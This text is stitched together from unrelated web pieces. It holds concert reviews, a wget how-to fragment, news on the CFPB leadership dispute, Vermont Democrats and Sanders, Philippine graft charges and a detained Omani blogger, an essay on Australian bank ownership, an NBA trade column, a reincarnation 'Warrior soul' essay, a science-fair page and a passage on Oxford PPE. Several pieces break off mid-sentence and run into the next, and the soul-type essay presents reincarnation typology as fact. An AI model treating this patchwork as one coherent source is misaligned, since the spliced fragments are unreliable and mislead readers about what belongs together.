Reviewer: omyword - favorite favorite favorite favorite favorite - March 14, 2010
Subject: Great concert I was 15 years old and backstage. My boyfriend from Guadalajara was friends with the band and was on stage photographing the concert. Yes, it was cold, but I was too much in love and in awe with the experience to care. :-) Thanks for making this music available. - March 14, 2010Great concert
Reviewer: TeaBag69 - favorite favorite favorite favorite - March 4, 2010
Subject: Solid I love th fall '73 shows and always liked this, I rememebr being pretty happy back in the '90's when I got a copy on cassette. I need to refresh my memory if Donna was at this show, I'll stream in the am during our quarterly conference call. She sat out a few at the end of teh year I thought.
Tripster thanks for the info on the venue, I have wondered what the deal was. My first show was '83, saw most of my 92 shows in '84-'86. Missed |
mirrorsite.net/filename.iso
If you try to resume a download after wget has been stopped, it will usually start from scratch and save to a new file with a.1 after the main filename. This is wget trying to protect you from "clobbering" a previous file.
Mirroring and More
You can also use wget to mirror a site. Using the --mirror option, wget will actually try to suck down the entire site, and will follow links recursively to grab everything it thinks is necessary for the site.
Unless you own a site and are trying to make a backup, the --mirror site might be a bit aggressive. If you're trying to download a page for archival purposes, the -p option (page) might be better. When wget is finished, it will create a directory with the site name (so if you tried Linux.com, it'd be linux.com ) and all of the requisite files underneath. Odds are when you open the site in a browser it won't look quite right, but it's a good way to get the content of a site.
Password protected sites are not a problem, as wget supports several options for passing the username and password to a site. Just use the --user and --password options, like so: wget --user=username --password=password ftp://mirrornet.net/filename.file where the user name and password are replaced with your credentials. You might want to specify this from a script if you're on a shared system, lest other users see the username and password via top, ps or similar.
Sometimes a site will deny access to non-browser user agents. If this is a problem, wget can fake the user agent string with --user-agent=agent-string.
If you don't have the fastest connection in the world, you might want to throttle wget a bit so it doesn't consume your available bandwidth or hammer a remote site if you are on a fast connection. To do that, you can use the --limit-rate option, like this:
wget --limit-rate=2m http://filesite.net/filename.iso
That will tell wget to cap its downloads at 2 megabytes, though you can also use k to specify kilobytes.
If you're grabbing a bunch of files, the -w (wait) option can pause wget between the files. So wget -w=1m will pause wget one minute between downloads.Leandra English filed the lawsuit in U.S. District Court in Washington, naming President Donald Trump and budget director Mick Mulvaney as defendants. | M. Scott Mahaskey/POLITICO Consumer bureau's top lawyer sides with Trump in leadership clash
The Consumer Financial Protection Bureau's top lawyer sided with the Justice Department over President Donald Trump's appointment of Mick Mulvaney to lead the CFPB as a leadership battle over the controversial watchdog agency escalated.
In a memorandum obtained by POLITICO, CFPB general counsel Mary McLeod said Trump had the legal authority to name an acting director to the bureau under the Federal Vacancies Reform Act.
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"It is my legal opinion that the president possesses the authority to designate an acting director for the bureau," McLeod wrote in the Nov. 25 memo to the CFPB leadership team. "I advise all bureau personnel to act consistently with the understanding that Director Mulvaney is the acting director of the CFPB."
Yet even as McLeod's memo was circulating, Leandra English, former CFPB Director Richard Cordray's choice to serve as acting director of the watchdog agency, sued the Trump administration in U.S District Court in Washington.
In her lawsuit filed late Sunday, English named Trump and Mulvaney as defendants and asked the court to establish her authority as acting director.
"Ms. English has a clear entitlement to the position of acting director of the CFPB," the filing claims. "The President's purported or intended appointment of defendant Mulvaney as acting director of the CFPB is unlawful."
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English, who is the bureau's deputy director, is being represented in court by Deepak Gupta, a former senior counsel at the bureau. Gupta and CFPB spokeswoman Jen Howard did not respond to requests for comment. The lawsuit was filed by English in her capacity as deputy director and acting director of the CFPB.
The White House claimed victory with McLeod's memo.
"Now that the CFPB’s own General Counsel - who was hired under Richard Cordray - has notified the Bureau’s leadership that she agrees with the Administration’s and DOJ’s reading of the law, there should be no question that Director Mulvaney is the Acting Director," White House spokeswoman Sarah Sanders told POLITICO. "It is unfortunate that Mr. Cordray decided to put his political ambition above the interests of consumers with this stunt."
Cordray, an appointee of former President Barack Obama, abruptly resigned effective at midnight Friday, naming English as acting director. Hours after Cordray's announcement, the White House appointed Mulvaney, who heads the OMB, as acting director of the consumer bureau, citing the Vacancies Reform Act.
The consumer bureau's staff gathered at bureau headquarters on Sunday, but English did not attend, according to a person with knowledge of the meeting.
Mulvaney is expected to show up for work at the bureau early Monday morning.
The 2010 Dodd-Frank Act, which created the CFPB, states that the consumer bureau's deputy director shall “serve as acting director in the absence or unavailability of the director." Until Friday, when Cordray promoted English, the bureau had been operating with an acting deputy director for years. English was named to the slot just as Cordray left, replacing acting deputy David Silberman.
The Justice Department's Office of Legal Counsel on Saturday acknowledged the Dodd-Frank provision, but found that Cordray's resignation amounted to an "absence," giving Trump authority to fill the slot.
The bureau's unusual structure, which vests power in a single director with a five-year term, has been a lightning rod since its creation. Businesses have accused the agency and Cordray of regulating by fiat and litigation and argued for more transparency. They've also challenged the CFPB's constitutionality in court, in a lawsuit that could be decided within weeks or months.
Yet numerous polls have shown that consumer advocates remain strong champions of the agency's work. The bureau says it has delivered $12 billion in relief, including canceled debt and compensation, to customers wronged by banks, credit unions, payday lenders and credit card companies.
The White House has been interviewing candidates to replace Cordray, including George Mason University's Todd Zywicki, a critic of the agency.IF YOU GO and ask the "average" Australian on a Melbourne or Sydney street who owns the banks and large public companies in Australia, most will answer "Australians through superannuation and mutual funds". This belief gives Australians a sense of pride in "Australian private enterprise", and may even assist Australians grudgingly accept high bank charges and interest rates: "after all, we own the banks".However, if one examines the annual reports of most of the large Australian public companies, names like HSBC Citibank, and BNP Paribas are very prominent in the tops 20 shareholders lists. There has been a major shift in the Australian corporate ownership-scape over the last decade. And a silent one at that.Let's go back to the 1980s when Bob Hawke was Prime Minister of Australia. The ex-ACTU head did more than any other prime minister to liberalise the Australian economy. Hawke began deregulating the financial system, dismantled the tariff system, floated the Australian dollar, and privatised the Commonwealth Bank of Australia (planned under Hawke, executed under Keating). What was important here, there was no longer any distinction between savings and commercial banks and foreign banks could apply for licenses to operate directly in the Australian retail market. Paul Keating followed on this liberalization path with the catch cry of creating a "level playing field".These liberalizations allowed foreign investors to come into the Australian market, however foreign banks found it extremely difficult to start-up from scratch and compete with the local banks. However with the Asian financial crisis of 1997, and subsequent economic downturns within the Australian economy, foreign equity started slowly trickling in and buying up Australia's prime corporate assets. Mutual and investment funds were specifically important as these made excellent vehicles for investment in corporate Australia.Today the ownership-scape of Australian banks is very different from the traditional past, where Australian banks were owned by the "average Australian" through superannuation and investment funds. Although major shareholders are in fact mutual and investment funds, they are now managed by foreign interests who appoint their "proxy" directors to the boards, as the table shows.Apart from the top four shareholders shown above, an inspection of the data in the respective annual reports shows that most of the other top 20 shareholders are companies with a stake in more than one big bank. Moreover, ownership figures for the second tier banks, Bendigo and Adelaide Bank Limited Suncorp-Metway Limited and Bank of Queensland Limited, show they are also owned by the same organisations that own the big four.When one looks closely at who owns the big four banks it becomes clear that there is a lot of common ownership, suggesting that those banks may not in fact be independent, competing entities.Due to the complex nature of the legal structures of shareholders and ways that the various shareholders work together, it is virtually impossible to determine who really controls the banks. Many of the other minor shareholders in the banks also have HSBC, JP Morgan and Citibank, along with many other European and US banks as their major shareholders. This argument is often countered by stating that HSBC, J.P. Morgan and Citibank are only investing on behalf of small investors. What is of issue here is control and the prerogative of the funds to appoint a director to the board of their choice, not the investors. These figures are also consistent with a recent worldwide study showing that most of the world's company equity is controlled by no more than 25 companies, of which many of these companies have equity in Australian banks.One of the most interesting aspects that complement the cross-ownership in the big four Australian banks is the number of cross directorships in other foreign banks and financial institutions that exist in a wide manner. Studies have shown how even small cross-shareholding structures, at a national level, can affect market competition in sectors such as airline, automobile and steel, as well as the financial one.When one turns to corporate Australia, one will find that it is very similar to the banks. Both commercial and mining companies ownership are dominated by HSBC Nominees, JP Morgan Nominees, and Citibank Nominees as the top three shareholders of most companies. If one examines company directorships there is a tight cross-linking across commerce, banking and mining in Australia today. Commerce, banking and mining are now part of an oligopoly.The reality is that much of Australia’s corporate landscape is owned by faceless people hiding behind big nominee companies that are virtually impossible to research. Not to mention global investment banks, insurance companies and the Commonwealth public servant superannuation scheme. Many companies have directors that are involved in media, banking, and politics, with many ex-politicians coming onto boards when they leave the parliament.We have seen the close relationships between business and politicians over many governments. And Labor has been able to stay long in government with this accommodation with business interests, ever since Bob Hawke achieved an understanding with a significant group within the dominant corporations of Australia. Big business probably has greater influence at state level, where government can directly facilitate access to prime land and assets that each state controls.Today in Australia, big business is able to practice what could be called "bully capitalism" where they dictate terms unfairly to smaller businesses. For example rents charged to tenants in large shopping malls are calculated as a percentage of turnover, with systems in place that allow landlords to audit tenant sales, where profit is virtually regulated. Supermarkets in Australia, now that a duopoly exists control over 90% of retail sales, have been able to increase profit margins from 20% in the 1970s to over 50% today.With so much ownership concentration of Australian business and industry through skilful fund control and use of company law and cross directorships, a very few people can exercise great influence over the Australian economy. Many company boards and directors can operate without much accountability. As the recent Jonathon Moylan case has shown, any statement about a company can easily manipulate share prices and make profits or losses of hundreds of Millions of dollars instantly.The potential to easily manipulate share prices is there on a huge scale. HSBC Nominees, JP Morgan, and Citicorp Nominees are the 1st, 2nd and 4th largest shareholders in the Australian Stock Exchange as well.The great myth is that Australia is a competitive economy. Most of Australia's largest companies have either monopolies or exercise some form of oligopoly.For example:The top businesses in Australia do not exist within competitive environments and are able to earn above average profits. This has potential consequences for local innovation, consequences for sustainable exploitation of resources, consequences for which industries survive and which industries are lost, and consequences for the cost of living for Australians, not to mention fairness and transparency in the marketplace.This work is licensed under a Creative Commons Attribution-NonCommercial-NoDerivs 3.0 Australia LicenseElsa/Getty Images
Back on March 2, reports surfaced that the Boston Celtics were actively trying to trade point guard Rajon Rondo. Then on March 13, Boston general manager Danny Ainge said, "Rondo's not being traded."
That sounds like a pretty definitive statement, but hypothetically, if Rajon Rondo was on the trading block, should the Sacramento Kings try and trade for him?
In a recent article, Bradford Doolittle writes about how the Kings could use Rondo.
"On paper, they have a pair of super-talented building blocks in Tyreke Evans and DeMarcus Cousins. The results, however, remain awful. The offense ranks 25th in efficiency despite a third-place standing in offensive rebound percentage and the defense ranks 28th. The Kings just can't score inside the arc, ranking 29th in 2-point percentage."
As Doolittle points out, the Kings struggle with offensive efficiency and they struggle on defense. He also makes the point that rookie Isaiah Thomas—who has recently been elevated to the starting point guard—is a better fit off the bench.
According to Doolittle, the Kings are in desperate need of a playmaking point guard in order to get the most out of Cousins and Evans.
"The Kings have to continue to develop the Evans-Cousins core and make it work. There is just too much talent there to give up. For that pairing to succeed, the third member of Sacramento's big three needs to be a playmaking point guard, who can make decisions for players who don't make good ones for themselves."
Rajon Rondo is an elite point guard—there's really no debating that. And if the Kings were to somehow acquire Rondo, he would immediately improve the team.
Rob Carr/Getty Images
Rondo is only 26 years old. On top of that, he's got a fairly affordable contract, as he's locked up through the 2014-15 season for $35.85 million.
But, just because Rondo's an enticing player doesn't necessarily mean the Kings could offer enough to get the point guard. Here's how Doolittle proposes the Kings could land Rondo:
"The Kings could offer their first-round pick and a couple of young pieces like Thomas or Hassan Whiteside to the Celtics for Rajon Rondo. The Celtics would be creating even more flexibility for the future, adding a high lottery pick and getting rid of a player they seem to want to move."
Assuming that's all it would take to get Rondo, that would be a solid deal for Sacramento.
Granted, the draft pick is sure to be a high selection based on Sacramento's current record, and the Kings would also be giving up a couple of nice young pieces in Thomas and Whiteside; but, they would be getting an elite point who's just now entering his prime, and is signed for the foreseeable future at a cap friendly number.
In my opinion, the only way Doolittle's proposed package is enough to land Rondo is if Boston desperately wants to move him. If I'm Danny Ainge, I want at least DeMarcus Cousins or Tyreke Evans included in any trade for Rondo.
At that point, dealing for Rondo might be counterproductive for the Kings. Sure, they'd improve at point guard, but they might cancel that out by losing a young asset in Evans or Cousins.
The Kings have been bad for a while now. It looks like they might have a nice young core developing, and though it hasn't resulted in victories yet, I would be wary of breaking that up. Still, if the Kings can somehow land Rondo without giving up Evans or Cousins, then I'm all for it.
What do you think?
Follow me on Twitter: @SimRissoThe Ombudsman on Friday ordered the filing of graft charges against six officials of the Department of Budget and Management in relation to the purchase of substandard inflatable rubber boats.
Facing charges for violating Section 3(e) of Republic Act No. 3019 (Anti-Graft and Corrupt Practices Act) are Undersecretary Evelyn Guererro, Director IV Lourdes Santiago, Procurement Management Officer V Julieta Lozano, Procurement Management Officer III Mervin Ian Tanquintic, Administrative Assistant III Alvin John Perater and ad hoc member Lt. Malone Agudelo.
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Anthony Hernandez of JOAVI Philippines Corporation, which sold the boats to the government in 2010, will also be charged.
Ombudsman Conchita Carpio Morales cited procurement violations such as JOAVI’s non-compliance with the DBM-Procurement Service technical specifications.
The boats were deemed substandard as they are not equipped with intercommunication or inflation valves, over-pressure valves and roll-up floor. Instead of military model boats, the boats purchased were “sports model,” the Ombudsman said.
It was also discovered that a falsified technical evaluation report and post-qualification report were submitted.
Section 3(e) of R.A. No. 3019 declares the following act as a corrupt practice: “Causing any undue injury to any party, including the Government, or giving any private party any unwarranted benefits, advantage or preference in the discharge of his official administrative or judicial functions through manifest partiality, evident bad faith or gross inexcusable negligence.” CDG/rga
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MOST READBernie Sanders (center) recently got his first big Vermont endorsement: Congressman Peter Welch (left). Another colleague, Sen. Pat Leahy (right), is backing Clinton. | AP Photo Bernie's home-state blues Vermont Democrats love their senator. The state's top Democratic leaders are far less enthusiastic.
There’s at least one Super Tuesday state where Bernie Sanders is going to win by a landslide on March 1: His home state of Vermont. But there isn’t going to be a joyous celebration in Montpelier — many of the state’s top Democrats are backing Hillary Clinton, not their two-term senator.
It’s a piece of dirty laundry that doesn’t get much airing. Even as Sanders has inspired thousands of supporters across the early-voting states and elsewhere, back home among the political class his candidacy hasn’t exactly been embraced.
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It wasn’t until a week ago that Sanders finally got his first big Vermont endorsement: Congressman Peter Welch. Nearly everyone else of national stature, including Gov. Peter Shumlin, former Gov. Howard Dean, Sen. Pat Leahy, and former Gov. Madeleine Kunin, is backing Clinton.
The more expansive list of Vermont Democratic notables— which the Clinton campaign is happy to unroll — goes on and on.
The Democratic rank-and-file is a different story. An early February Vermont Public Radio poll found Sanders beating Clinton 78 percent to 13 percent. A more recent Public Policy Polling reported Sanders had the support of 86 percent of likely Vermont Democratic voters.
Even high-profile Clinton supporters concede that Sanders is all-but-certain to win the state.
"I'm not a super-delegate but I've been with Hillary Clinton all along and I understand Vermont voters' support for — I can't say native son, but the local boy — the hometown candidate," Kunin said, adding "I've known Bernie for a long time, I've known Hillary for a long time. I just think she's more prepared to govern. I think that'll be the story with some other super-delegates or elected officials that they're going to evaluate who's the best candidate for this country."
Kunin’s answer betrays the conflicted feelings many of the state’s top Democrats feel toward Sanders, an independent who has always kept a visible — though not hostile — distance from the party throughout his entire career in Congress.
"There is a certain tension," said Kunin, diplomatically.
Bill Lofy, a veteran Democratic strategist who's supporting Clinton, says the state’s Democratic leadership is simply basing their support on whom they think would be a better president, not necessarily what local voters are thinking.
"I think that those who have endorsed Clinton are sincere in saying that they are proud of Bernie and proud of the fact that he's running and proud that he's in the race but in the end think she's the best qualified person to become president," Lofy said.
Welch said he held his own endorsement “to give the maximum opportunity for people power to express themselves.”
“My own personal approach to things in a primary like this is let it develop where, especially in Vermont, people are going to express their preference,” Welch said. “Also I’ve got a personal relationship with Bernie. His first office was 1981 and that’s the first year I went to the Senate so we’ve been working in Vermont for a long time and the reason I announced now is we will vote on Super Tuesday. I have voted because I’m going to be down here on the day of the primary and I’m going to get an absentee ballot.”
For the most part, the divide only comes to attention during campaign seasons. Lofy recalled when, in 2006, he ran the Vermont Democratic Party's coordinated campaign, the Sanders for Senate team kept a separate office from the rest of the Democrats on the ticket, although it was close by.
"I would say that you're seeing a history. This is a long history," said Alex MacLean, who served as Shumlin's campaign manager in 2010 and 2012. "And I think it's rooted in the fact that Bernie has never identified as a Democrat here in Vermont. I think initially, the party took an if-you-aren't-with-us-you're-against-us attitude. And it was only when faced with the reality of his pretty incredible success at the polls that a form of detente emerged. The Vermont Democratic Party and Bernie have managed to coexist peacefully but I would say warily."
Vermont’s distinctive political landscape has enabled Sanders’ go-it-alone approach. Voters are accustomed to options other than the two major parties — among them a vibrant Progressive Party — and the state Democratic has chosen not to run opponents against Sanders on the party line. But by running as an independent, Sanders has failed to forge relationships with party figures or built up a reservoir of good will among Democratic leaders.
"I mean he was clearly an independent, he didn't want to be identified as a Democrat," said Vermont Democratic Party vice chairman Timothy Jerman, one of the few high profile unaligned Democrats left in the state.
A Republican veteran of Vermont’s small-state political scene spoke even more bluntly about the disconnect.
"Until recently, Senator Sanders wasn't really engaged in the Democratic Party in any kind of meaningful way. And so this guy's got like a 40 year record in public service in Vermont. But a pretty short stint of it being part of the Democratic Party," said the consultant, who asked for anonymity to speak freely. "And it seems to me that his involvement is really more about his need and access to the party establishment, more than it is about his interest in helping to advance the party priorities or strengthen the party."
Some Vermont Democrats pointed not just the fact that Sanders hasn't always associated with the Democratic Party, but also that he can sometimes be difficult to work with.
"I guess one way to phrase it is he doesn't play well with others. Even when I was governor, after I defeated him, I found him hard to work with, yes," said Kunin, the former governor and ambassador to Switzerland.
Kunin added that Sanders "was very single-minded then but to be fair, he was not a radical mayor in the ways today that his rhetoric would suggest. I mean he did the job that mayors should do."
But even Kunin, who's supporting Clinton, conceded that Sanders is all but certain to win the state.
For some top Vermont Democrats, the reason for backing Clinton is simple: many of them already had deep ties to Clinton and decided to throw their support early, before Sanders really caught fire.
"I think they committed earlier in the race," Lofy said before adding that "I think that those who have endorsed Clinton are sincere in saying that they are proud of Bernie and proud of the fact that he's running and proud that he's in the race but in the end think she's the best qualified person to become president.”
The Sanders campaign, which is headquartered in Burlington, isn’t taking much offense — at least not publicly — over the rallying around Clinton. Even Shumlin, who announced his endorsement of Clinton just hours after Sanders announced details of his presidential campaign kick-off in May, gets a pass.
"When Sen. Leahy and the governor and the others endorsed Hillary way back when I think it would be fair to say people were not considering Bernie a real serious candidate and obviously that has changed since then," said Tad Devine, the top strategist on Sanders' campaign. "We understand that they were told that the race is over before it began and that if we can prove to them in the course of the nominating process in the weeks and months ahead that we have a real opportunity to change their mind and look at a different candidate."
Dottie Deans, the Vermont Democratic chairman, said she'd been encouraged by both Sanders and Clinton supporters in the state to make an endorsement.
"They have been extremely polite,” Deans, who's unaligned, said of the outreach from the Sanders and Clinton campaign orbits. “They would welcome my support — that's the nice way they said it."Omani blogger Muawiyah Alrawahi was allegedly detained on February 24 while attempting to enter the United Arab Emirates by car from Oman, according to statements from multiple human rights organizations. Amnesty International confirmed that UAE border security seized Alrahawi's travel documents, but his whereabouts are currently unknown. It has been over thirty days since his family and friends have heard from him.
The Committee to Protect Journalists‘ Middle East and North Africa Coordinator, Sherif Mansour, called his disappearance “alarming”:
Muawiyah Alrawahi has not been heard from in a month, and this is alarming given the record of official persecution of the critical blogger. We call on authorities in the United Arab Emirates to explain why Alrawahi has been taken into custody or release him immediately.
This is not the first time that Alrawahi has been persecuted by authorities. In 2014, he was detained by Omani authorities at the psychiatric department of Sultan Qaboos University Hospital. As Amnesty International explained in a statement demanding urgent action:
Muawiya al-Ruwahi was arrested in Oman several times in recent years. He was summoned in February 2012 to the Omani State Security headquarters after he criticized Sultan Qaboos in his blog; he was held in a mental health hospital for one week and released without charge. He was arrested on 12 July 2014 after he criticized the Omani authorities in his blog, two days after an Omani teacher had been sentenced to a large fine for “public order offences”, for going on strike in October 2013. He was detained mainly in mental health facilities, first in the al-Massarah mental health hospital and a week later in the psychiatric ward of Sultan Qaboos University Hospital where he was kept shackled. He was released without charge on 11 August.
In 2012, Alrawahi was featured on Global Voices Advocacy after he was detained for criticizing Sultan Qaboos bin Said, the ruler of Oman. Alrawahi ran into trouble after writing a blog post entitled “Covenant of Salvation,” in which he expressed some controversial ideas. Although the post has since been removed from the Internet, our 2012 story described its contents as follows:
[he] talked openly about a number of things, including suffering sexual abuse as a young teenager, his earlier involvement with Oman's Internal Security Service (ISS), his admiration for and connections to ex-ISS Brigadier-General Khamis Al Ghraibi (now imprisoned under charges of spying for the UAE), his lack of religious belief, his disillusionment with Oman, and his loss of faith in the ruler Sultan Qaboos.
In a 2010 interview with Global Voices in which Alrawahi talked about his experience with blogging in Oman. He explained that he took to blogging to write about Oman's issues with the belief that “the issue we don’t discuss is the issue we won’t solve.”
The Gulf Center for Human Rights has issued an official call for his release.The Warrior is one of the seven soul types or roles in essence. The Warrior’s specialty is forceful interaction, especially with those who oppose or threaten.
“I came, I saw, I conquered.” — Julius Caesar
“Victory at all costs, victory in spite of all terror, victory however long and hard the road may be; for without victory, there is no survival.” — Winston Churchill
“I keep waiting to meet a man who has more balls than I do.” — Salma Hayek
Rising to the Challenge
Warriors are forceful souls; they embody qualities of strength, courage and determination.
Like Kings, Warriors are action-oriented beings, and therefore down-to-earth, single-minded and very wilful. Unlike Kings, however, they tend to be more attracted to the cut and thrust of battle (whether real or metaphorical), preferring to just get stuck in rather than to stand back pulling all the strings.
Warrior souls tend to see life in terms of confrontations and rising to the challenge. There are causes to serve, struggles to be overcome, battles to be won. They like to be on the front line with their trusted comrades, and strongly value both courage and loyalty.
The basic drive of any Warrior is to uphold something “right” and defeat something “wrong”, however those two are defined. A Baby Warrior, for example, might fight against law-breaking in the local community. A Young Warrior might fight for his or her country against foreign threats. A Mature Warrior might fight against social injustices such as starvation in Africa. Even in the entertainment industry, Warrior souls approach their work as a kind of personal battle or test.
A perfect example of the Warrior’s relentless commitment to a challenge is the long-distance swimmer Diana Nyad. Diana first tried to swim the 100 miles of shark-infested ocean between Cuba and Florida in 1978, aged 28. On her fifth attempt, at the age of 64, she finally succeeded. The 15-minute TED talk she gave after that is well worth watching:
Warriors are invariably attracted to some sort of challenge. The challenge could be anything — the forces of nature, an invading army, undesirable elements in the community, social injustice, racial prejudice, or oneself. Fulfilment, for the Warrior, comes in the form of victory over the given challenge.
Positive and Negative Poles
[As a reminder, any manifestation of consciousness has both a positive pole and a negative pole. The positive pole is an expression of the true self or soul; the negative pole is an expression of the false self or ego.]
In the positive pole, persuasion, a Warrior is forceful and effective without being overbearing. In other words, respectfully persuasive, courageous and protective.
In the negative pole, coercion, the Warrior descends into intimidation and brute oppression. The ends justify the means, and any approach that gets results may be perceived as useful, no matter how unpleasant for others.
in the movie Gran Torino, Clint Eastwood (himself an Old Warrior) plays a character whose journey is one of moving from the negative pole to the positive pole of the Warrior spirit.
Warrior Soul Evolution
As a reminder, all souls progress through five cycles of self-evolution in physical form (see: Reincarnation: the 35 Steps.)
Baby Warriors tend to be at home in law enforcement and the armed forces. Mike Tyson is a Baby Warrior in the largely Young Warrior world of boxing (a challenge indeed).
Warriors find their feet in physical form during the Young cycle, which is focused on individual accomplishment. Young Warriors are attracted to the macho action hero archetype, and tend to seek glory as “invincible” soldiers, leaders and athletes. Famous Young Warriors in power include Ivan the Terrible, Mao Tse Tung, Churchill and Eisenhower.
Mature Warriors, by now disillusioned with warfare and violence, try to throw their forcefulness into more meaningful challenges and causes such as acting (Judi Dench) and writing (Bram Soker). Their politics becomes more about fighting for the underdog.
Old Warriors like Igor Stravinsky and Clint Eastwood become more philosophical and seek pure self-expression through mastery of their forceful nature.
Warrior Characteristics
Warriors are distinctly solid and physical, ready for action, very much at home in their bodies. In both male and female form, they can be aggressively sexual.
Facially, Warriors are often characterised by low eyebrows and an expression that says, “Don’t fuck with me.” Or perhaps it’s, “Come and have a go if you think you’re hard enough.” Not necessarily aggressive, just ready for a bit of action. Whenever you see that look in the eyes, even in a small child, you are probably looking at a Warrior.
Like Kings, their faces tend to be quite firm and angular rather than soft and rounded (unless they happen to be overweight).
Some famous examples of the Warrior soul:
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(Visited 114,273 times, 1 visits today)Google Classroom Create Assignment Create Announcement Waste Not, Want Not: Use a Microbial Fuel Cell to Create Electricity from Waste
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View Kit Difficulty Time Required Very Long (1+ months) Prerequisites Previous experience using a multimeter and being familiar with the physics of electricity is helpful, but not required. Material Availability Specialty items required available from our partner Home Science Tools. See Materials section for more details. You also need to have access to a lower-order stream of water or a creek. See the Introduction for an explanation of this type of stream. Try to avoid streams in which the bed is rocky. The benthic mud sample should be from an area that has a thick, rich mud bed. Cost High ($100 - $150) Safety Adult supervision is recommended. Be careful when using a hot stove and a drill. Remember to always wear safety goggles when drilling. Exercise caution when working near a stream or creek. Water currents can be stronger than they look. Abstract "Gross! What is that in the toilet?" But maybe it's not just gross. Did you know there are bacteria that digest organic waste and create electrons? What if there was a way to collect those electrons to power a circuit? In this science fair project, you will make a microbial fuel cell to collect the electrons that the bacteria—anaerobic bacteria—create...only, you'll be using mud, which is much safer to handle than wastewater. If you would like to learn how to reuse and recycle an unlikely substance, this is the science fair project for you! Objective "Gross! What isin the toilet?" But maybe it's not just gross. Did you know there are bacteria that digest organic waste and create electrons? What if there was a way to collect those electrons to power a circuit? In this science fair project, you will make a microbial fuel cell to collect the electrons that the bacteria—anaerobic bacteria—create...only, you'll be using mud, which is much safer to handle than wastewater. If you would like to learn how to reuse and recycle an unlikely substance, this is the science fair project for you! To learn about an alternative method for creating electricity, the microbial fuel cell. The goal is to build a microbial fuel cell using a benthic mud sample from a stream and determine if this device can harvest the electrons that the anaerobic bacteria (present in the mud sample) create. Share your story with Science Buddies! Yes, I Did This Project! Please log in (or create a free account) to let us know how things went. Are you planning to do a project from Science Buddies? Come back and tell us about your project using the “I Did This Project” link for the project you choose. You’ll find a link to “I Did This Project” on every project on the Science Buddies website so don’t forget to share your story! Got it Remind me later Credits Michelle Maranowski, PhD, Science Buddies This project idea is based on the following 2008 California State Science fair project, a winner of the Science Buddies Clever Scientist Award: Bennet, I. (2008). Generating Electricity from Wastewater Using a Microbial Fuel Cell. Retrieved August 23, 2008, from http://cssf.usc.edu/History/2008/Projects/J0804.pdf The design in this science fair project is based on Abbie Groff's design in her science fair project, titled "Identification of Benthic Microbes Utilizing Bioremediation and Microbial Fuel Cells." The author would like to thank Sandra Slutz, PhD, Science Buddies, for very helpful discussions. Cite This Page General citation information is provided here. Be sure to check the formatting, including capitalization, for the method you are using and update your citation, as needed. MLA Style Science Buddies Staff. "Waste Not, Want Not: Use a Microbial Fuel Cell to Create Electricity from Waste." Science Buddies, 21 Sep. 2018, https://www.sciencebuddies.org/science-fair-projects/project-ideas/Energy_p026/energy-power/use-a-microbial-fuel-cell-to-create-electricity-from-waste. Accessed 27 Feb. 2019. APA Style Science Budd |
worldly-wise, tutored in the ways of the media, the essay-crisis prime minister,” says the documentary-maker Michael Cockerell, who has made celebrated profiles of a succession of PPEist politicians, including Cameron, Ed Miliband, Roy Jenkins and the postwar Labour reformer Barbara Castle.
Cockerell, naturally, did PPE himself. “It gives you fluency,” he says. “Just like politicians, journalists often have to be performance artists – the piece to camera outside Number 10. And PPEists come to understand how people operate in public life, what’s beneath the gloss.”
Although, given the insidery tone of much British political and economic journalism – and its failure to foresee the financial crisis, or populism, or the fates that awaited Cameron and Miliband – the media PPEists perhaps understand the political PPEists a little too well: an understanding that sometimes softens into empathy, or outright sympathy, while ignoring ways of doing politics that lack the civility of the PPE tutorial.
Maurice Glasman say: “PPEists don’t do conflict. Oxford PPE reduces everything in politics to a technical question: what’s the right policy? PPE teaches you, ‘Don’t be vile to bankers after the financial crash. What they were doing wasn’t stealing; it was down to the wrong government policy.’”
Generalisations about a form of education as baggy and enduring as PPE will never be totally accurate. Even the political careers of individual PPEists can be interpreted in wildly different ways. Was Cameron a compromising or radical Tory? It probably depends on your experience of austerity. But it can be said that the record of generations of PPEists in reforming Britain has been mixed. For every Roy Jenkins, who as home secretary helped legalise abortion and homosexuality, there has been a Danny Alexander, the former Lib Dem Treasury secretary, who unconvincingly justified the coalition’s spending cuts for five years, and then immediately lost his seat.
In some ways, Oxford PPE is still thriving. Applications for the course rose by 28% between 2007 and 2015. One successful recent applicant says: “I didn’t know that much about PPE when I was at my comprehensive. Then, during the application process, you pick up this reputation. Everybody comes to know this list of people who did PPE.”
“But when you go to the lectures, and they’re absolutely packed out – hundreds of people – you realise that only a few of them will go into frontline politics.” Instead, the influence of PPE has become more diffuse: many politically inclined graduates go on to work for charities, aid agencies, activist groups, the World Bank, the United Nations. It is an acknowledgement by the students themselves that the days of the degree simply producing a Westminster elite may finally be ending.
Nor is politics, however you define it, the only career Oxford PPE qualifies you for. “At my college, the investment banks were just hoovering them up,” says someone who taught the course between 2000 and 2009. William Davies, while critical of Oxford PPE’s political caution, sees an inconsistency in how its graduates are treated by the course’s enemies: “The ones who just scurry off into the City and make as much money as possible – you never hear about them again. They’ve joined the truly invisible elite that the public don’t understand. Meanwhile, the public-spirited PPEists get a kicking.”
Regardless, over recent decades two dozen other British universities have set up their own PPE courses: from a more politically adventurous version at Goldsmiths, in which Davies is involved, heavily informed by sociology, anthropology and cultural studies – the sort of course the 1968 Oxford radicals wanted, but never quite got – to a more maths-heavy, technocratic, four-year version at the London School of Economics. The PPE concept has also spread to dozens of universities abroad, from the United States to South Africa and the Netherlands.
But the closest equivalents of Oxford PPE are older: the Kennedy School of Government at Harvard, founded under a different name in 1936, and the Ecole Nationale d’Administration in France, founded in 1945. Like Oxford PPE, both were attempts to improve government, and both have accumulated enemies as faith in government has soured.
Shirley Williams has been a Kennedy School professor since the late 80s, and says it has “more of the grit of politics, more study from practical experience” than Oxford. Ricken Patel studied at the Kennedy School after Oxford, as many PPE graduates do, and found it more “professional”. “The curriculum was all technical skills: public speaking, strategic management – you’re not going to learn these from PPE.” But he goes on: “It had nothing like the academic rigour of PPE. And the Kennedy School took no position on what values and principles you, as a graduate, might be advancing.”
Yet Graham and other PPE veterans worry that over the last decade, unnoticed by the outside world, some of the Oxford degree’s “values and principles” have been weakening. In line with economics teaching elsewhere, “Oxford economics has become more and more mathematical,” he says. “Economics is becoming more separate from the other PPE subjects. And there’s been a reduction in tutor interest in PPE as a whole. It’s getting harder to persuade them to contribute outside their subjects.”
He thinks that Oxford PPE “will probably hold together”. A production line for mild politicians that has already survived the rise of fascism in the 1930s, the second world war, the collapse of the postwar centrist consensus, the end of the British empire, and decades of social disruption caused by the internet and post-industrialism, may well be flexible and robust enough to keep functioning while populism runs its course.
